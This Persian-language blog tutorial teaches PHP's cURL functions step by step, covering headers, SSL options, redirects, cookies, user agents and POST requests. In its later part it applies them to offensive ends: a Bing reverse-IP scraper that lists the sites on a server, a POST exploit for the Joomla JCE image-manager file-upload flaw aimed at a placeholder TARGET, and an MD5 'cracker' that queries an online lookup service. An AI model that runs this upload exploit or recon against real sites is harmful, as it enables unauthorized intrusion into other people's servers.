آموزش کار با CURL در PHP

درود دوستان عزیز با آموزش کار باد توابع CURL در PHP در خدمتتون هستم .در اینجا تلاش می کنم که آموزش هارو از مبتدی تا پیشرفته آماده کنم و قرار بدم . در واقع Curl یک بسته به صورت اکستنش هست که روی php نصب میشه.اگر در ویندوز هستید این بسته با نام php_curl.dll و اگر در لینوکس هستید با نام curl.so موجود می باشد .از طریق php.ini می تونید این بسته رو فعال کنید که بتونید ازش استفاده کنید .در آخر هم سعی می کنم چند برنامه کاربردی بنویسیم.سپاس در واقع CURL یک اکستنشن پر سرعت و قوی موجود در php است که با استفاده از اون می تونیم اطلاعات رو مانند یک مرورگر بفرستیم و بگیرم , تغییرات درونش بدیم , فیلتر کنم و .... .با استفاده از CURL میشه برنامه هایی مثل اسکنر ها و اکسپلویت ها و ... بنویسیم .می تونم بگم که درواقع CURL 3 بخش عمده و اصلی داره .1 – تعریف و مقدار دهی اولیه initialize2 – بدنه curl که شامل اپشن ها و فیلتر ها و ... میشه3 – بستن و اتمام CURL که هر یک رو به صورت مفصل توضیح خواهم داد .نکته : برای آموزش CURL باید php رو بلد باشد ;)خب حالا بریم سراغ کد نویسی . خب برای مقدار دهی اولیه از تابع curl_init() استفاده میشهاین تابع یک کد منبع رو بر میگردونهو می تونه آدرس لینکی که قرار هست باهاش رو کار کنیم بگیره یعنی این آرگومان اختیاری هست و میتونه چیزی داخلش نباشهمثال :$ch = curl_init();Or$ch = curl_init(“http://google.com”);هر دو درست هست .قسمت بدنه که شامل آپشن های curl می باشه با تابع curl_setopt(resoure,option,value) صورت میگیریدcurl_setopt() 3 پارامتر رو دریافت میکنهپارامتر اول کد منبعی که توسط تابع curl_init() ساخته شدهپارامتر دوم آپشن مورد نظرو پارامتر سوم مقداربرای مثال :$ch = curl_init("http://google.com");curl_setopt($ch,CURLOPT_HEADER,1);که ما در اینجا بهش میگیم که ما هدر لینک رو میخوایم دریافت کنیم . مقدار 1 رو بهش دادیمخب بعد از اینکه آپشن های مورد نظر اضافه شد باید برنامه رو اجرا کنیم که برای اجرای curl از تابعcurl_exec(resource) استفاده میشه .این تابع کد منبع رو گرفته و آپشن هاشو اجرا میکنه و همچنین موارد مورد نیاز رو بر می گردونهبرای مثال :$ch = curl_init("http://google.com");curl_setopt($ch,CURLOPT_HEADER,1);$result = curl_exec($ch);کد بالا درخواست به سایت گوگل می فرسته و هدر هار میگیره و میریزه توی متغییر $resultحال اگر echo $result بنویسیم میتونیم هدر رو مشاهده کنیم .مر حله آخر هم اتمام کار curl است که با curl_close(resource) انجام میگیرهاین تابع کد منبع رو بع عنوان آرگومان دریافت میکنه و به اون خاتمه میده .خب اگر امتحان کرده باشید اگر کد بالا رو به صورت زیر هم می نوشتیم باز هم همون نتیجه رو می داد$ch = curl_init("http://virgool.io/@alirezamn93");curl_setopt($ch,CURLOPT_HEADER,1); curl_exec($ch);curl_close($ch);اما چرا ؟ دلیلش همون آپشن های موجود در curl هست که باید رعایت کنید.اگر می خواهید این اتفاق نیوفته باید مقدار CURLOPT_RETURNTRANSFER را در آپشن true قرار بدید . اینطور خروجی به صورت رشته در میاد به جای اینکه مستقیم در خروجی شما ظاهر بشه.پس کد بالا رو به کد زیر تغییر می دیم$ch = curl_init("http://virgool.io/@alirezamn93");curl_setopt($ch,CURLOPT_HEADER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$result = curl_exec($ch);curl_close($ch);حال اگر کد بالا رو اجرا کنید خرجی صفحه سفید هست . دلیلش هم اینه که دیگه مقدار بازگشی به صورت رشته شده و داخل متغییر$result ریخته شده و حالا اگر مایل باشید روی صفحه نمایش نشان بدید باید اونو echo کنید.کد بالا رو اگر echo کنید خرجی شما علاوه بر صفحه کامل سایت هدر هم بهتون نشون میده یعنی کد بالا به ما میگه هم مقدار بازگشتی رو به صورت رشته برگردون و هم هدر سایت رو ضمیمه کن .ولی شاید شما فقط بخواهید هدر سایت رو ببینید و نیازی به محتوای اون نداشه باشید اونوقت چه باید کرد ؟خب باید از آپشن CURLOPT_NOBODY کمک بگیرید . اگر مقدار این آپشن رو true قرار بدید باعث میشه دیگه صفحه سایت (بدنه سایت) لود و بازگردانده نشود. به کد زیر توجه کنید$ch = curl_init("http://virgool.io/@alirezamn93");curl_setopt($ch,CURLOPT_HEADER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_NOBODY,1);$result = curl_exec($ch);echo $result;curl_close($ch);اگر کد بالا رو اجرا کنید خروجی شبیه خروجی زیر مشاهده می کنیدHTTP/1.1 200 OK Date: Sun, 02 Aug 2015 08:47:45 GMT Server: Apache X-Powered-By: PHP/5.3.29 Cache-Control: private Pragma: private Set-Cookie: bb_lastvisit=1438505265; expires=Mon, 01-Aug-2016 08:47:45 GMT; path=/cc/ Set-Cookie: bb_lastactivity=0; expires=Mon, 01-Aug-2016 08:47:45 GMT; path=/cc/ Connection: close Content-Type: text/html; charset=UTF-8 نکته: خروجی بالا حاصل از اجرای کد بر روی یک دامنه دیگه است و فقط نکته قابل توجه این هست که هدر رو مشاهده می کنید.این همون چیزی هست که مثلا برای ادیمن فایندر ها و یا اسکنر ها استفاده می شود (برای برخی اهداف از این روش استفاده می شود و چون بحث ما در مورد اسکنر ها نیست توضیح بیشتر نمیدم)خب کد بالا یعنی چه ؟ یعنی آقای curl برو به سایت ۱- هدرش رو برام بیار ۲- مقدار بازگشتیت به صورت رشته باشه و مستقیم توی خروجی من چاپ نکن ۳ – بدنه سایت رو بهش نیاز ندارم و برام لود نکناگر از echo $result; استفاده نمی کردم خروجی چاپ نمیشد چون مقدار بازگشتی الان توی اون متغییر هست و هر کاری که با رشته های دیگه میشه کرد با اینم میشه انجام داد.خب اگر دقت کرده باشید سایت ما با http:// شروع می شد اگر کد بالا رو با سایتی که https:// هست اجرا کنید با کمال تعجب در خرجی چیزی نمی بینید.برای اجرای سایت های دارای https:// باید از ۲ آپشن CURLOPT_SSL_VERIFYPEER و CURLOPT_SSL_VERIFYHOST کمک بگیریم.در واقع CURLOPT_SSL_VERIFYHOST اگر مقدار ۱ رو بدیم بهش فقط گواهی ssl رو چک میکنه و اگر ۲ رو بدیم هم گواهی رو چک میکنه و هم چک میکنه که بانام میزبان منطبق باشه.(اگر برای قسمت مهمی استفاده می کنید این گزینه رو ۲ بزارید)CURLOPT_SSL_VERIFYPEER اگرfalse باشه برای گواهی تاییده نمی گیرهخب چون بحث ما در باره نحوه کارکرد این هاست فقط در همین حد اشاره می کنیم و برای اطلاعات بیشتر درمورد این ۲ آپشن به سایت php.net رجوع کنید.خب حال کد بالا که برای http:// بود رو به کد زیر تغییر می دیم$ch = curl_init("https://google.com");curl_setopt($ch,CURLOPT_HEADER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_NOBODY,1);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,1);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);$result = curl_exec($ch);echo $result;curl_close($ch);حال اگر کد بالا رو اجرا کنید خرجی شبیه زیر خواهید داشت.HTTP/1.1 301 Moved Permanently Location: https://www.google.com/ Content-Type: text/html; charset=UTF-8 Date: Sun, 02 Aug 2015 09:00:33 GMT Expires: Tue, 01 Sep 2015 09:00:33 GMT Cache-Control: public, max-age=2592000 Server: gws Content-Length: 220 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Alternate-Protocol: 443:quic,p=1 خب حالا به کد زیر توجه کنید.$ch = curl_init("https://google.com");curl_setopt($ch,CURLOPT_HEADER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,1);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);$result = curl_exec($ch);echo $result;curl_close($ch);اگر کد بالا رو اجرا کنید خرجی شبیه خروجی زیر خواهید داشتHTTP/1.1 301 Moved Permanently Location: https://www.google.com/ Content-Type: text/html; charset=UTF-8 Date: Sun, 02 Aug 2015 09:09:49 GMT Expires: Tue, 01 Sep 2015 09:09:49 GMT Cache-Control: public, max-age=2592000 Server: gws Content-Length: 220 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Alternate-Protocol: 443:quic,p=1 301 MovedThe document has moved here. همانطور که میبینید صفحه سایت گوگل رو برای ما باز نکرد و دلیلش هم همون ریدارکتی بود که با هدر داشت انجام می شد. برای رفع مشکل از آپشن CURLOPT_FOLLOWLOCATION کمک می گیریماگر مقدار این آپشن true باشه هر تعداد ریدایرکت وجود داشته باشه curl اون هارو دنبال میکنه.پس برای مشاهده صفحه اول گوگل باید کد بالا رو به کد زیر تغییر بدیم$ch = curl_init("https://google.com");curl_setopt($ch,CURLOPT_HEADER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,1);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);$result = curl_exec($ch);echo $result;curl_close($ch);با اجرای کد بالا صفحه اول گوگل قابل مشاهده هست. ( nobody رو از آپشن برداشتم که بتونم بدنه سایت رو ببینم)حال اگر مایل باشید یک تعداد خواص ریدایرکت رو دنبال کنید باید CURLOPT_MAXREDIRS رو هم مقدار دهی کنید.برای مثال به کد زیر توجه کنید$ch = curl_init("https://virgool.io/@alirezamn93");curl_setopt($ch,CURLOPT_HEADER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_MAXREDIRS,3);$result = curl_exec($ch);echo $result;curl_close($ch);حال اگر در کد بالا سایت مورد نظر ۴ بار ریدایرکت انجام بده خروجی شما سفید خواهد بود (چون شما در curl_setopt($ch,CURLOPT_MAXREDIRS,3); گفتید حداکثر ۳ بار لینک هارو دنبال کن)برای رفع مشکل و مشاهده کامل سایت مورد نظر باید یکی از ۲ کد زیر را بنویسید$ch = curl_init("https://virgool.io/@alirezamn93");curl_setopt($ch,CURLOPT_HEADER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_MAXREDIRS,4);$result = curl_exec($ch);echo $result;curl_close($ch);و یا$ch = curl_init("https://virgool.io/@alirezamn93");curl_setopt($ch,CURLOPT_HEADER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);$result = curl_exec($ch);echo $result;curl_close($ch);خب برخی از سایت ها لینک ارجاع سایت رو هم نگاه می کنند (مثلا برای صفحه ورود لینک ارجاع رو چک می کنند) وقتی می بینید از یک سایت دیگه لینک اومده نشانگر یک عملیات غیر عادی میشند و اجرا ورود رو نمی دهند (این یکی از روش ها برای جلوگیری هست) برای رفع این مشکل 3 روش وجود دارد روش اول استفاده از CURLOPT_AUTOREFERER هست . اگر مقدار true رو بدید فیلد Referer شما به صورت اتوماتیک برابر با سایتی میشه که اونو دنبال می کنید.curl_setopt($ch,CURLOPT_AUTOREFERER,1)روش دوم اگر مایلید خودتون دستی رف لینک بدید باید از آپشن CURLOPT_REFERER استفاده کنید مانند قطعه کد زیرcurl_setopt($ch,CURLOPT_REFERER,"http://www.google.com.com/")روش سوم استفاده از آپشن CURLOPT_HTTPHEADER هست . (کمی جلوتر کامل این دستور رو توضیح میدم)خب خیلی وقت ها پیش میاد که شما برای کار با یک سایت (ورود یا پرس و جو کردن و یا …) نیاز به کوکی دارید.خب آپشن CURLOPT_COOKIESESSION اگر true قرار بدید تمامی کوکی یا سشن های قبلی رو ایگنور میکنه به صورت پیشفرض کوکی و سشن ها ذخیره و اجرا می شوند.آپشن CURLOPT_COOKIE می تونید خودتون کوکی بدید بهش که با اون کوکی اجرا بشه .و آپشن CURLOPT_COOKIEFILE که آدرس فایل ذخیره کوکی ها هست اگر رشته خالی بدید بهش هیچ کوکی لود نمیشه ولی ذخیره می شوند.خب برخی از سایت ها مدل مرورگر هم چک می کنند (حالا برای یک سری کارا یا استایل و...) برای دادن این مشخصات می توانید از آپشن CURLOPT_USERAGENT استفاده کنید. به قطعه کد زیر توجه کنیدcurl_setopt($ch,CURLOPT_USERAGENT,$_SERVER["HTTP_USER_AGENT"])و یاcurl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13")دیگه بستگی به خودتون و سایت مورد نظر داره که چکار کنید.خب شاید بعضی از سایت هارو مثل فیس بوک با این روش باز کرده باشید و بهتون اررو مبنی بر غیرفعال بودن کوکی بده . برای کار باکوکی هم می تونید از آپشن های موجود استفاده کنید (بالا گفتم)به قطعه کد زیر توجه کنید: $ch = curl_init("https://www.facebook.com/login.php?login_attempt=1"); // curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_AUTOREFERER,1); curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); curl_setopt($ch,CURLOPT_HEADER,0); curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE); curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,2); curl_setopt($ch,CURLOPT_POST,1); curl_setopt($ch,CURLOPT_ENCODING, 'UTF-8'); curl_setopt($ch,CURLOPT_POSTFIELDS,$fields); curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13'); curl_setopt($ch,CURLOPT_REFERER,"https://www.facebook.com/"); $cookie_file = "cookie1.txt"; curl_setopt($ch, CURLOPT_COOKIESESSION, true); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file); curl_exec($ch); curl_close($ch);(چیزایی که یاد ندادم رو بعد توی آموزش یاد میگیرید فقط خواستم نحوه کارش رو ببینید)خب اگر هم می خواید کوکی ست کنید اپشن CURLOPT_COOKIE رو مقدار دهی کنیدبرای مثال :$cookie = 'PHPSESSID=' . $_COOKIE['PHPSESSID'] . '; path=/'; curl_setopt( $ch, CURLOPT_COOKIE, $cookie ); خب حالا که یک سری ابزار ها رو یاد گرفتیم نظرتون چیه سایت های رو یک سرور با برنامه در بیاریم ؟برای این کار خیلی روش وجود داره یکی از روش ها استفاده از bing.com هست.اگر در سایت bing.com آی پی یک سرور رو وارد کنیم مثلا بنویسیم ip:192.168.1.1 سایت های سرورو بهمون نشون میده (احتمالن اونایی که ایندکس شدن) خب به کد زیرتوجه کنید:$ip = "193.252.114.13";$cnt=1;$nextpage=true;while($nextpage==true){ if($cnt==1) $url="http://www.bing.com/search?q=ip%3A$ip&qs=n&form=QBRE&pq=ip%3A$ip&sc=0-0&sp=-1&sk="; else $url="http://www.bing.com/search?q=ip%3a$ip&qs=n&pq=ip%3a$ip&sc=0-0&sp=-1&sk=&first=$cnt&FORM=PERE"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_COOKIE,'_FP=EM=6; _FS=NU=1; _SS=SID=DE0C67FE74C54DA18A336359D03BCFB3&nhIm=40-; MUID=1BF9890C2B01688F0ED78C942A106831; MUIDB=1BF9890C2B01688F0ED78C942A106831; SRCHD=SM=1&MS=3115188&D=3115188&AF=NOFORM; SRCHUID=V=2&GUID=2A6B69000E9745D9A1B8C86F2BCB341D; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131203;'); $result=curl_exec($ch); $myPattern = "#<cite>(.*?)</cite><span class#" ; if(preg_match_all($myPattern,$result,$find)) { $urls = preg_replace("/<\/?strong>/","",$find[1]); print_r($urls); } if(preg_match("/class\=\"sb_pagN\"/",$result)) $cnt+=10; else $nextpage=false;}خب من رفتم توی bing.com عبارت ip: 193.252.114.13 سرچ کردم . لینک رو یاداشت کردم$url="http://www.bing.com/search?q=ip:193.252.114.13&qs=n&form=QBRE&pq=ip: 193.252.114.13&sc=0-0&sp=-1&sk=بعد رفتم صفحات دیگه که اینطوری بودن$url="http://www.bing.com/search?q=ip:193.252.114.13&qs=n&pq=ip:193.252.114.13&sc=0-0&sp=-1&sk=&first=$cnt&FORM=PERE";خب حالا باید یه چیزی باشه که بفهمم کی تموم میشه سایت ها برای همین رفتم صفحه آخر دنبال یه چیزی که اینجا باشه و توی بقیه صفحه ها نباشه . دیدم توی همه صفحات class="sb_pagN" هست به جز صفحه آخر پس از این برای اتمام کد کمک گرفتم if(preg_match("/class\=\"sb_pagN\"/",$result)) $cnt+=10; else $nextpage=false;خب دیدی که با یک برنامه ساده تونستم سایت های روی سرور رو دربیارم.خودتون برنامه رو توسعه بدید و پیشرفته ترش کنید.$myPattern = "#<cite>(.*?)</cite><span class#" ;رو به $myPattern = "#<cite>(.*)</cite><span class#" ;تبدیل کنید و خروجی رو مقایسه کنید.خب توی آموزش بعدی می خوام با آپشن CURLOPT_HTTPHEADER آشناتون کنم. این آپشن می تونید بهش دستی هدری که می خواهید بدید . به صورت آرایه هدر رو می دیمبرای مثال:$headers = array( 'Content-type: application/xml', 'Authorization: abcdef', ); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);هر هدر دیگه ای که خواستید می تونید بهش بدید.خب تا الان داشتیم با متدهای get کار می کردیم حالا می خوایم با post کار کنیم(با هدری که گفتم میشه post کرد ولی می خوایم از یک روش آسون تری استفاده کنیم)۲ آپشن دیگه هست CURLOPT_POST اگر مقدار true بدید یعنی میخواید post کنید.(البته برای post های نرمال که توی http فرم ها هستند هست)CURLOPT_POSTFIELDS اینم که فیلد هایی که پر می کنید رو بهش میدید.خب بریم سراغ مثال ؟ اونجا بهتر متوجه میشیدخب یادتون هست باگ jce واسه جوملا رو ؟ می شد فایل آپلود کرد درسته ؟ خب منم برای اینکه ملموس تر باشه و کاربردی از همون استفاده میکنم.خب اگر یادتون باشه صفحه post صفحه به آدرس option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20 بود. خب پس آدرس میشه TARGET/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20خب اونجا که می رفتید فیلد هایی داشت که اسماشون (name) اینا بودند upload-overwrite Filedata actionخب پس یک آرایه انجمنی می سازیم و اونارو مقدار دهی می کنیم.به صورت زیر $data['upload-overwrite']="0"; $data['Filedata']="@".getcwd().DIRECTORY_SEPARATOR."pic.gif"; $data['action']="upload";حالا وقتش هست که اطلاعات رو post کنیم. کد زیر نمونه کاملش هست . $url='TARGET/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20'; $data['upload-overwrite']="0"; $data['Filedata']="@".getcwd().DIRECTORY_SEPARATOR."pic.gif"; $data['action']="upload"; $ch =curl_init($url); curl_setopt($ch,CURLOPT_HEADER,1); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_POST, 1); curl_setopt($ch,CURLOPT_POSTFIELDS, $data); curl_exec($ch); curl_close($ch);می تونید تدابیر دیگه ای هم ببینید(قبلا یاد گرفتید)که چک کنید ببینید آپلود موفقیت آمیز بوده یا نه و...خب نظرتون چیه یه بچه md5 کرکر بنویسیم ؟من از سایت md5decryption.com استفاده کردم شما می تونید از سایت های دیگه استفاده کنید اینم فقط برای مثال بود.اول با html یک فیلد برای دریافت اطلاعات نوشتم بعد که هش رو گرفتم میفرستم به سایت مورد نظر بعد با عبارات منظم جواب رو دریافت می کنم و بعد هم برمیگردونم مقدار رو .if(isset($_POST['submit']) && isset($_POST['hash'])) { $hash = $_POST['hash']; if(!empty($hash) && strlen($hash) == 32) { echo md5decryption_com($hash); }else { echo "<br />hash is not valid <br />"; } }else { echo " <form action='' method='post'> Hash : <input type='text' name='hash' value=''> <br /> <input type='submit' name='submit' value='Crack'> </form> "; } function md5decryption_com($hash) { $ch = curl_init("md5decryption.com/"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_USERAGENT,$_SERVER["HTTP_USER_AGENT"]); curl_setopt($ch,CURLOPT_AUTOREFERER,1); curl_setopt($ch,CURLOPT_POST,1); curl_setopt($ch,CURLOPT_POSTFIELDS,array("hash"=>"$hash","submit"=>"Decrypt It!")); $result = curl_exec($ch); curl_close($ch); if(preg_match("/Decrypted Text: <\/b>(.*)<\/font>/",$result,$find)) return $find[1]; else return "regex not found"; }می تونید با خلاقیت خودتون پیشرفته تر و بهترش کنید